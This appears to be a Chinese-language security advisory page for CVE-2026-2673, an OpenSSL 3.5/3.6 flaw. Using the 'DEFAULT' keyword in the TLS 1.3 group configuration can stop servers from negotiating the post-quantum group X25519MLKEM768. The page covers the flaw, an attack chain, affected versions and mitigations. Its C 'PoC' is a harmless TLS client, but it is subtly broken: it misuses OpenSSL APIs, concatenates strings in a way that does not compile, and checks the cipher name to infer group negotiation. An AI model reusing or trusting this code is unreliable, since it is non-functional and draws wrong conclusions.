IPBUF安全漏洞报告
English
CVE-2026-2673 CVSS 6.5 中危

CVE-2026-2673 OpenSSL TLS 1.3密钥协商组选择配置缺陷

披露日期: 2026-03-13

漏洞信息

漏洞编号
CVE-2026-2673
漏洞类型
配置缺陷/密钥协商漏洞
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenSSL 3.6, OpenSSL 3.5

相关标签

OpenSSLTLS 1.3密钥协商配置缺陷后量子密码X25519MLKEM768Hello Retry RequestCVE-2026-2673

漏洞概述

CVE-2026-2673是OpenSSL中的一个配置缺陷漏洞,影响OpenSSL 3.5和3.6版本的TLS 1.3服务器。当服务器配置使用'DEFAULT'关键字来引入内置默认组列表到自己的配置中时,实现缺陷会导致'DEFAULT'列表丢失其'tuple'结构,所有服务器支持的组被当作一个单一的安全'tuple'处理。这导致服务器在需要时不会发送Hello Retry Request(HRR),即使客户端支持更优先tuple中的组。结果是客户端和服务器可能无法协商相互支持的后量子密钥协商组(如X25519MLKEM768)。CVSS评分6.5(中危),攻击向量为网络,无需认证和用户交互。

技术细节

OpenSSL 3.5及更高版本支持在TLS服务器上选择最优先的TLS 1.3密钥协商组的新语法。旧语法使用单一的'扁平'组列表,将所有支持的组视为足够安全。如果客户端预测的任何密钥共享被服务器支持,则选择其中最优先的组,即使客户端支持其他组(但未包含在预测密钥共享列表中),如果包含这些组会更优先。

新语法将组划分为不同的安全等级大致相当的'tuple'。在每个tuple中,选择客户端预测密钥共享中最优先的组。但如果客户端支持来自更优先tuple的组,却没有预测相应的密钥共享,服务器将要求客户端使用Hello Retry Request(HRR)重试ClientHello,使用最优先的相互支持的组。

当服务器配置使用'DEFAULT'关键字时,'DEFAULT'列表会丢失其'tuple'结构,导致服务器将所有组视为单一tuple,服务器不会发送HRR请求客户端使用更优先的后量子组如X25519MLKEM768,即使客户端支持这些组。这使得通信双方可能退而使用安全性较低的经典密钥协商组。

攻击链分析

STEP 1
步骤1: 服务器配置
OpenSSL TLS 1.3服务器使用'DEFAULT'关键字配置密钥交换组列表,如'SSLGroups DEFAULT'或添加/删除特定元素
STEP 2
步骤2: 缺陷触发
实现缺陷导致'DEFAULT'列表丢失其'tuple'结构,所有服务器支持的组被当作单一安全tuple处理
STEP 3
步骤3: 客户端连接
TLS客户端连接服务器,其配置可能只包含经典组(如X25519)的初始预测密钥共享,或支持后量子组但未预测密钥共享
STEP 4
步骤4: 组选择失败
服务器无法识别需要发送Hello Retry Request(HRR)来请求客户端使用更优先的后量子组如X25519MLKEM768
STEP 5
步骤5: 降级协商
客户端和服务器最终使用较低优先级的经典密钥协商组进行通信,而非更安全的混合后量子组

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * CVE-2026-2673 PoC - OpenSSL TLS 1.3 Key Exchange Group Selection Issue * This PoC demonstrates the vulnerability where using 'DEFAULT' keyword * causes loss of tuple structure, preventing proper post-quantum group negotiation. * * Build: gcc -o cve2026_poc cve2026_poc.c -lssl -lcrypto * Run: ./cve2026_poc <server_ip> <port> */ #include <stdio.h> #include <string.h> #include <openssl/ssl.h> #include <openssl/err.h> #define TARGET_HOST argv[1] #define TARGET_PORT argv[2] void print_tls_groups(SSL *ssl) { const char *groups = SSL_get0_peer_supported_groups(ssl); if (groups) { printf("[*] Server supported groups: %s\n", groups); } /* Check if post-quantum groups are available */ if (strstr(groups, "X25519MLKEM768") != NULL) { printf("[!] Server supports X25519MLKEM768 but may not negotiate it properly\n"); } } int main(int argc, char **argv) { SSL_CTX *ctx; SSL *ssl; BIO *bio; if (argc < 3) { printf("Usage: %s <host> <port>\n", argv[0]); return 1; } /* Initialize OpenSSL */ SSL_library_init(); SSL_load_error_strings(); OpenSSL_add_all_algorithms(); /* Create SSL context for TLS 1.3 client */ ctx = SSL_CTX_new(TLS_client_method()); SSL_CTX_set_min_proto_version(ctx, TLS1_3_VERSION); SSL_CTX_set_max_proto_version(ctx, TLS1_3_VERSION); /* Configure to request post-quantum hybrid groups */ SSL_CTX_set1_groups_list(ctx, "X25519MLKEM768:P-256"); /* Create SSL connection */ ssl = SSL_new(ctx); bio = BIO_new_ssl_connect(ctx); BIO_set_conn_hostname(bio, TARGET_HOST ":" TARGET_PORT); SSL_set_bio(ssl, bio, bio); /* Attempt connection */ if (SSL_connect(ssl) <= 0) { printf("[!] Connection failed: %s\n", ERR_error_string(ERR_get_error(), NULL)); return 1; } printf("[*] TLS 1.3 connection established\n"); print_tls_groups(ssl); /* Check negotiated cipher */ const char *cipher = SSL_get_cipher(ssl); printf("[*] Negotiated cipher: %s\n", cipher); /* The vulnerability: even if server supports X25519MLKEM768, * it may negotiate a less secure group due to DEFAULT keyword issue */ if (strstr(cipher, "TLS_AES_256_GCM_SHA384") == NULL) { printf("[!] WARNING: Post-quantum group may not be negotiated properly!\n"); } SSL_shutdown(ssl); SSL_free(ssl); SSL_CTX_free(ctx); return 0; }

影响范围

OpenSSL 3.6 < 3.6.2
OpenSSL 3.5 < 3.5.6

防御指南

临时缓解措施
临时缓解措施:1)显式定义服务器支持的密钥协商组列表,不使用'DEFAULT'关键字;2)确保客户端配置包含所有期望的密钥交换组;3)使用OpenSSL 3.6.2或3.5.6版本进行升级;4)监控TLS连接使用的加密套件,确保使用期望的密钥协商组。注意:OpenSSL 3.4、3.3、3.0、1.0.2、1.1.1及FIPS模块不受此漏洞影响。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表